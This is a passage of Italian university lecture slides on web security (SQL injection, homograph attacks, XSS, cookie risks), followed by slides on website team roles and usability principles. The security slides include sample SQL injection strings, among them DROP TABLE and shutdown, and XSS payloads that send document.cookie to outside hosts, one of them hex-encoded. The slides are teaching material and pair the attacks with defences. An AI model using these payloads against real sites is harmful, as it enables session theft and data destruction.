29
1 Applicazioni di Rete – M. Ribaudo - DISI SQL Injection Homograph Attack Cross-Site Scripting Applicazioni di Rete – M. Ribaudo - DISI SQL Injection SQL Injection is a technique for exploiting web applications that use client- supported data in SQL queries without stripping potentially harmful characters first”

SQL Injection Homograph Attack Cross-Site Scripting · SQL Injection Homograph Attack Cross-Site Scripting Applicazioni di Rete – M. Ribaudo - DISI SQL Injection “SQL Injection

  • Upload
    others

  • View
    41

  • Download
    0

Embed Size (px)

Citation preview

Page 1: SQL Injection Homograph Attack Cross-Site Scripting · SQL Injection Homograph Attack Cross-Site Scripting Applicazioni di Rete – M. Ribaudo - DISI SQL Injection “SQL Injection

1

Applicazioni di Rete – M. Ribaudo - DISI

SQL Injection

Homograph Attack

Cross-Site Scripting

Applicazioni di Rete – M. Ribaudo - DISI

SQL Injection

“SQL Injection is a techniquefor exploiting web

applications that use client-supported data in SQL querieswithout stripping potentially

harmful characters first”

Page 2: SQL Injection Homograph Attack Cross-Site Scripting · SQL Injection Homograph Attack Cross-Site Scripting Applicazioni di Rete – M. Ribaudo - DISI SQL Injection “SQL Injection

2

Applicazioni di Rete – M. Ribaudo - DISI

SQL Injection

$sql = “SELECT * FROM client WHEREusername=‘” . $username . “’ AND ‘”password=‘” . $password . “’”;

Esempi

SELECT * FROM client WHEREusername=‘Rossi’ AND password=‘****’

SELECT * FROM client WHEREusername=‘Rossi’ OR 1=1 --

Commento in molti DBMS!

Applicazioni di Rete – M. Ribaudo - DISI

SQL Injection

Esempio (in ASP)

Page 3: SQL Injection Homograph Attack Cross-Site Scripting · SQL Injection Homograph Attack Cross-Site Scripting Applicazioni di Rete – M. Ribaudo - DISI SQL Injection “SQL Injection

3

Applicazioni di Rete – M. Ribaudo - DISI

SQL Injection

� Username:rossi, Password:*******

� Username:verdi, Password:*******

� Username: ’ OR ‘’=‘Passowrd: ’ OR ‘’=‘

SELECT * FROM client WHEREusername=‘’ OR ‘’=‘’ ANDpassword=‘’ OR ‘’=‘’

true !!

Applicazioni di Rete – M. Ribaudo - DISI

SQL Injection

Esempio (in ASP)

Page 4: SQL Injection Homograph Attack Cross-Site Scripting · SQL Injection Homograph Attack Cross-Site Scripting Applicazioni di Rete – M. Ribaudo - DISI SQL Injection “SQL Injection

4

Applicazioni di Rete – M. Ribaudo - DISI

SQL Injection

� Username: ’; DROP TABLE clienti--

(per Transact-SQL, usato da SQL server)

� userId: 123; shutdown--

Per saperne di piùwww.nextgenss.com/papers/advanced_sql_injection.pdf

Applicazioni di Rete – M. Ribaudo - DISI

Soluzione?

� Validare sempre molto bene idati in input usando, sepossibile, le espressioniregolari

� Suggerimento: considerate qualisono i dati validi e rifiutatetutto il resto …

Page 5: SQL Injection Homograph Attack Cross-Site Scripting · SQL Injection Homograph Attack Cross-Site Scripting Applicazioni di Rete – M. Ribaudo - DISI SQL Injection “SQL Injection

5

Applicazioni di Rete – M. Ribaudo - DISI

Homograph Attack

� Il problema sorge a causadell’equivalenza visiva tra lelettere di alfabeti diversi

� Siamo abituati a confondere 0 (zero)con O (o maiuscola) ma esistono altricaratteri che pur essendo visivamentesimili, sono semanticamente moltodiversi!

� Nel cirillico ci sono per esempio lelettere a, c, e, p, y, x, …

Applicazioni di Rete – M. Ribaudo - DISI

Homograph Attack

� John Hacker “imita” il nome del sitoweb della vostra banca

� Installa un proxy che instrada inmodo trasparente tutte le vostrerichieste alla vostra banca

� “Inserisce” il suo link nei portalipiù importanti

Page 6: SQL Injection Homograph Attack Cross-Site Scripting · SQL Injection Homograph Attack Cross-Site Scripting Applicazioni di Rete – M. Ribaudo - DISI SQL Injection “SQL Injection

6

Applicazioni di Rete – M. Ribaudo - DISI

Homograph Attack

� Poichè la maggior parte delle volteclicchiamo sui link e non li scriviamodirettamente nella location bar

� … John Hacker ha accesso a login epassword dei clienti della banca ☺☺☺☺

� Per saperne di piùwww.cs.technion.ac.il/~gabr/papers/homograph_full.pdf

Applicazioni di Rete – M. Ribaudo - DISI

Rappresentazione canonica

� “Do not make any security decisionbased on the name of a resource,especially a filename”

� Esistono nomi diversi peridentificare la stessa risorsa/home/stud/2000s000/index.html

~2000s000/index.html

/home/../home/stud/ …

� Il nome canonico è quello più“semplice” (lo standard)

Page 7: SQL Injection Homograph Attack Cross-Site Scripting · SQL Injection Homograph Attack Cross-Site Scripting Applicazioni di Rete – M. Ribaudo - DISI SQL Injection “SQL Injection

7

Applicazioni di Rete – M. Ribaudo - DISI

Bypassing Napster Name Filtering

� Canonicalization bug ☺☺☺☺

� Il blocco delle canzoni è stato fattosulla base del nome della canzone e nonci è voluto molto a bypassare il filtro…

� .. changes the file names of songsinside a person's Napster directoryinto a spelling inspired by Pig Latin.The Radiohead song "Karma Police," forexample, would be transformed into"armaK oliceP."

Applicazioni di Rete – M. Ribaudo - DISI

Cross-Site Scripting (XSS)

“An intruder causes alegitimate web server tosend a page to a victim’s

browser that containsmalicious scripts chosen

by the intruder”

Page 8: SQL Injection Homograph Attack Cross-Site Scripting · SQL Injection Homograph Attack Cross-Site Scripting Applicazioni di Rete – M. Ribaudo - DISI SQL Injection “SQL Injection

8

Applicazioni di Rete – M. Ribaudo - DISI

Cross-Site Scripting (XSS)

Cross site scripting (also known as XSS)occurs when a web application gathersmalicious data from a user. The data isusually gathered in the form of a hyperlinkwhich contains malicious content within it.

The user will most likely click on this linkfrom another website, instant message, orsimply just reading a web board or emailmessage. Usually the attacker will encodethe malicious portion of the link to thesite in HEX (or other encoding methods) sothe request is less suspicious looking tothe user when clicked on.

Applicazioni di Rete – M. Ribaudo - DISI

Cross-Site Scripting (XSS)

� È un problema dovuto a duefattori diversi

�Spesso i siti web si fidano deidati in arrivo dall’esterno(“untrusted entity”)

�Spesso i siti web visualizzano inoutput quello che ricevono in input

Page 9: SQL Injection Homograph Attack Cross-Site Scripting · SQL Injection Homograph Attack Cross-Site Scripting Applicazioni di Rete – M. Ribaudo - DISI SQL Injection “SQL Injection

9

Applicazioni di Rete – M. Ribaudo - DISI

Cross-Site Scripting (XSS)

<a href=http://www.contoso.com/req.asp?name=

>Clicca qui per visitare www.contoso.com</a>

<formaction=“http://www.badsite.com/data.asp”method=“post”name=“mioform”>

<input type=“hidden” name=“cook”></form><script>mioform.cook.value=document.cookie;mioform.submit();</script>

<formaction=“http://www.badsite.com/data.asp”method=“post”name=“mioform”>

<input type=“hidden” name=“cook”></form><script>mioform.cook.value=document.cookie;mioform.submit();</script>

Applicazioni di Rete – M. Ribaudo - DISI

Cross-Site Scripting (XSS)

Cookie theft Javascript Example

ASCII Usage:http://host/a.php?variable="><script>document.location='http://www.

cgisecurity.com/cgi-bin/cookie.cgi?'%20+document.cookie</script>

Hex Usage:http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%

75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

http://www.cgisecurity.com/articles/xss-faq.shtml

Page 10: SQL Injection Homograph Attack Cross-Site Scripting · SQL Injection Homograph Attack Cross-Site Scripting Applicazioni di Rete – M. Ribaudo - DISI SQL Injection “SQL Injection

10

Applicazioni di Rete – M. Ribaudo - DISI

Cross-Site Scripting (XSS)

"What can I do to protect myself?"

This is a simple answer. Never trust user inputand always filter metacharacters. This willeliminate the majority of XSS attacks.Converting < and > to &lt; and &gt; is alsosuggested when it comes to script output.

Filtering < and > alone will not solve allcross site scripting attacks and it issuggested you also attempt to filter out ( and) by translating them to &#40; and &#41;, andalso # and & by translating them to &#35 (#)and &#38 (&).

Applicazioni di Rete – M. Ribaudo - DISI

Cross-Site Scripting (XSS)

� Come posso verificare se il miocodice è attaccabile tramite XSS?

1. Scrivo tutti gli entry point dell’applicazioneweb (campi di un modulo, querystring, HTTPheaders, cookies, dati in arrivo da un database)

2. Seguo ciascun dato nel suo “attraversamento”dell’applicazione

3. Verifico se viene restituito in output

4. Se sì, verifico che ogni dato sia “ripulito” dameta-caratteri pericolosi

Page 11: SQL Injection Homograph Attack Cross-Site Scripting · SQL Injection Homograph Attack Cross-Site Scripting Applicazioni di Rete – M. Ribaudo - DISI SQL Injection “SQL Injection

11

Applicazioni di Rete – M. Ribaudo - DISI

Web cookies: not just a privacy risk

� DoubleClick (e altri) usa i cookie pertracciare gli utenti e per mandaremessaggi pubblicitari mirati. Ma questonon è un vero pericolo …

� Il pericolo nasce quando i cookievengono usati per l’autenticazione e,soprattutto, quando vengono forniteinformazioni personalizzate …

Applicazioni di Rete – M. Ribaudo - DISI

Web cookies: not just a privacy risk

� La specifica dei cookie si basainfatti su un’idea di collaborazionetra browser e server e molti siti nonsalvano i cookie in modo sicuro

� Diventa facile “forgiare” un nuovocookie per impersonare un altroutente

� Quindi, è opportuno non affidarsi maial solo meccanismo dei cookie perrestituire informazioni sensibili

Page 12: SQL Injection Homograph Attack Cross-Site Scripting · SQL Injection Homograph Attack Cross-Site Scripting Applicazioni di Rete – M. Ribaudo - DISI SQL Injection “SQL Injection

12

Applicazioni di Rete – M. Ribaudo - DISI

Progettare un sito web

Interattivo e Usabile

Applicazioni di Rete – M. Ribaudo - DISI

Il team

� I siti web professionali non sonosviluppati da una sola persona, masono il frutto di un lavoro digruppo. Ad esempio:

� Project Manager

� Client Representative

� Technology Researcher

Page 13: SQL Injection Homograph Attack Cross-Site Scripting · SQL Injection Homograph Attack Cross-Site Scripting Applicazioni di Rete – M. Ribaudo - DISI SQL Injection “SQL Injection

13

Applicazioni di Rete – M. Ribaudo - DISI

Il team

�Content Developer / WriterSa scrivere!!! e deve scegliere il“tono” adeguato per il web

�Information ArchitectDeve pianificare la navigazione del sito ele caratteristiche interattive di base

�Graphic DesignerÈ il responsabile dell’identità visiva delsito, del layout delle pagine … crea illook & feel

Applicazioni di Rete – M. Ribaudo - DISI

�Multimedia DesignerÈ il responsabile dei contenuti audio/video

�Technical DesignerSceglie le tecnologie per la realizzazionedelle caratteristiche interattive. Deveconoscere i linguaggi di programmazione e,possibilmente, principi di interazione conl’utente e di progettazione di interfacce

Il team

Page 14: SQL Injection Homograph Attack Cross-Site Scripting · SQL Injection Homograph Attack Cross-Site Scripting Applicazioni di Rete – M. Ribaudo - DISI SQL Injection “SQL Injection

14

Applicazioni di Rete – M. Ribaudo - DISI

�Content ProducerDeve convertire i contenuti originali e leimmagini in pagine HTML. Lavora a fiancodel programmatore

�System AdministratorSi occupa della gestione del server web,del DBMS server, … dei backup e dellasicurezza

�Test/Focus Group CoordinatorSi occupa dell’analisi dell’usabilità delsito dal punto di vista dell’utente e dalpunto di vista della robustezza del codice

Il team

Applicazioni di Rete – M. Ribaudo - DISI

Usabilità?

� Why

� Who

� Where

� What

� When

Page 15: SQL Injection Homograph Attack Cross-Site Scripting · SQL Injection Homograph Attack Cross-Site Scripting Applicazioni di Rete – M. Ribaudo - DISI SQL Injection “SQL Injection

15

Applicazioni di Rete – M. Ribaudo - DISI

Why?

“Usability rules the Web.Simply stated if the customercan’t find a product she willnot buy it. […] It is so easy

to go elsewhere; all thecompetitors in the world are

but a mouseclick away”

Jakob Nielsen: Designing Web Usability

Applicazioni di Rete – M. Ribaudo - DISI

Who?

Noi stessi, gli utenti

Page 16: SQL Injection Homograph Attack Cross-Site Scripting · SQL Injection Homograph Attack Cross-Site Scripting Applicazioni di Rete – M. Ribaudo - DISI SQL Injection “SQL Injection

16

Applicazioni di Rete – M. Ribaudo - DISI

Where?

Sul web ma non solo,l’usabilità coinvolge le

nostre esperienze con ognitipo di artefatto

Applicazioni di Rete – M. Ribaudo - DISI

What?

Non esiste unadefinizione univoca

Page 17: SQL Injection Homograph Attack Cross-Site Scripting · SQL Injection Homograph Attack Cross-Site Scripting Applicazioni di Rete – M. Ribaudo - DISI SQL Injection “SQL Injection

17

Applicazioni di Rete – M. Ribaudo - DISI

ISO 9241

La efficacia e soddisfazionecon cui specificati utentiraggiungono specificatiobiettivi in particolariambienti

Usabilità

Applicazioni di Rete – M. Ribaudo - DISI

Usabilità

Efficacia

La accuratezza e la completezzacon cui gli utenti possonoraggiungere determinatiobiettivi in particolariambienti

Page 18: SQL Injection Homograph Attack Cross-Site Scripting · SQL Injection Homograph Attack Cross-Site Scripting Applicazioni di Rete – M. Ribaudo - DISI SQL Injection “SQL Injection

18

Applicazioni di Rete – M. Ribaudo - DISI

Usabilità

Efficienza

Le risorse spese in relazioneall’accuratezza e allacompletezza degli obiettiviraggiunti

Applicazioni di Rete – M. Ribaudo - DISI

Usabilità

Soddisfazione

Il comfort e l’accettabilitàdel sistema di lavoro per isuoi utenti e per altrepersone influenzate dal suo uso

Page 19: SQL Injection Homograph Attack Cross-Site Scripting · SQL Injection Homograph Attack Cross-Site Scripting Applicazioni di Rete – M. Ribaudo - DISI SQL Injection “SQL Injection

19

Applicazioni di Rete – M. Ribaudo - DISI

Usabilità

efficacia

soddisfazione

ISO 9241 cerca di fornire una misura dell’usabilità

efficienza

Applicazioni di Rete – M. Ribaudo - DISI

efficacia

soddisfazioneefficienza

Usabilità

numero di volte in cuisi chiude l’acquarispetto al numero ditentativi

numero di giri della manopolaper chiudere completamentel’acqua

numero di volte incui è stata espressauna preferenza perquesto tipo dimanopola

ESEMPIO

Page 20: SQL Injection Homograph Attack Cross-Site Scripting · SQL Injection Homograph Attack Cross-Site Scripting Applicazioni di Rete – M. Ribaudo - DISI SQL Injection “SQL Injection

20

Applicazioni di Rete – M. Ribaudo - DISI

efficacia

soddisfazioneefficienza

Usabilità

numero di volte in cuisi conclude un acquistorispetto al numero ditentativi

numero di clic del mouseper concludere l’acquisto

numero di volte incui è stata espressauna preferenza perquesto sito

Applicazioni di Rete – M. Ribaudo - DISI

Principi di usabilità

Non esiste un “catalogo” diprincipi di usabilità per le

applicazioni interattive

Vediamo alcuni “suggerimenti”validi in generale, che vanno

reinterpretati per il web

Page 21: SQL Injection Homograph Attack Cross-Site Scripting · SQL Injection Homograph Attack Cross-Site Scripting Applicazioni di Rete – M. Ribaudo - DISI SQL Injection “SQL Injection

21

Applicazioni di Rete – M. Ribaudo - DISI

Rendere gli oggetti

e le azioni visibili

Riconoscere vs Ricordare

Applicazioni di Rete – M. Ribaudo - DISI

Esplicitare le affordance

Segnali che ci

indicano come

usare gli oggetti

Page 22: SQL Injection Homograph Attack Cross-Site Scripting · SQL Injection Homograph Attack Cross-Site Scripting Applicazioni di Rete – M. Ribaudo - DISI SQL Injection “SQL Injection

22

Applicazioni di Rete – M. Ribaudo - DISI

… less is more …

Si deve cercare diminimizzare il caricocognitivo dell’utente

7 +/- 2

Applicazioni di Rete – M. Ribaudo - DISI

Usare mapping corretti

Page 23: SQL Injection Homograph Attack Cross-Site Scripting · SQL Injection Homograph Attack Cross-Site Scripting Applicazioni di Rete – M. Ribaudo - DISI SQL Injection “SQL Injection

23

Applicazioni di Rete – M. Ribaudo - DISI

Usare mapping corretti

Applicazioni di Rete – M. Ribaudo - DISI

Essere consistenti

Non usare sinonimi

Attenzione all’uso dellemetafore

Page 24: SQL Injection Homograph Attack Cross-Site Scripting · SQL Injection Homograph Attack Cross-Site Scripting Applicazioni di Rete – M. Ribaudo - DISI SQL Injection “SQL Injection

24

Applicazioni di Rete – M. Ribaudo - DISI

Esempio di metafora non consistente

Applicazioni di Rete – M. Ribaudo - DISI

Usare il linguaggio dell’utente

Chi usa l’interfaccianon deve conoscere

il gergo informatico

Page 25: SQL Injection Homograph Attack Cross-Site Scripting · SQL Injection Homograph Attack Cross-Site Scripting Applicazioni di Rete – M. Ribaudo - DISI SQL Injection “SQL Injection

25

Applicazioni di Rete – M. Ribaudo - DISI

Usare il linguaggio dell’utente

Applicazioni di Rete – M. Ribaudo - DISI

Meccanismi di azione efficienti

Acceleratori

History

Page 26: SQL Injection Homograph Attack Cross-Site Scripting · SQL Injection Homograph Attack Cross-Site Scripting Applicazioni di Rete – M. Ribaudo - DISI SQL Injection “SQL Injection

26

Applicazioni di Rete – M. Ribaudo - DISI

Gestire gli errori

Se possibile prevenire glierrori, altrimenti fornire

meccanismi di Undo

Applicazioni di Rete – M. Ribaudo - DISI

Fornire uscite chiare

Cancel

Exit

Page 27: SQL Injection Homograph Attack Cross-Site Scripting · SQL Injection Homograph Attack Cross-Site Scripting Applicazioni di Rete – M. Ribaudo - DISI SQL Injection “SQL Injection

27

Applicazioni di Rete – M. Ribaudo - DISI

Rendere visibile lo stato del sistema

Fornire feedback

Applicazioni di Rete – M. Ribaudo - DISI

Rendere visibile lo stato del sistema

Page 28: SQL Injection Homograph Attack Cross-Site Scripting · SQL Injection Homograph Attack Cross-Site Scripting Applicazioni di Rete – M. Ribaudo - DISI SQL Injection “SQL Injection

28

Applicazioni di Rete – M. Ribaudo - DISI

Fornire informazioni persistenti

La comunicazione vocalenon è persistente,quella visiva sì

Applicazioni di Rete – M. Ribaudo - DISI

Usabilità

� Why

� Who

� Where

� What

�When

Page 29: SQL Injection Homograph Attack Cross-Site Scripting · SQL Injection Homograph Attack Cross-Site Scripting Applicazioni di Rete – M. Ribaudo - DISI SQL Injection “SQL Injection

29

Applicazioni di Rete – M. Ribaudo - DISI

When?

Secondo la disciplina dellaUsability Engineering - che ponel’enfasi sui criteri che devonoessere adottati per valutare unprodotto rispetto alla suausabilità - questa analisi deveessere fatta a partire dalle fasiiniziali del ciclo di sviluppodel software …

Applicazioni di Rete – M. Ribaudo - DISI

Come si valuta?

� Interviste

� Focus Group

� Analisi di log

� Test in laboratorio

� …

… per quanto riguarda il vostro progetto,chiedete ai compagni di “fare un giro” nel

vostro sito ed osservate (magari senza intervenire)

le loro difficoltà e i loro errori

… per quanto riguarda il vostro progetto,chiedete ai compagni di “fare un giro” nel

vostro sito ed osservate (magari senza intervenire)

le loro difficoltà e i loro errori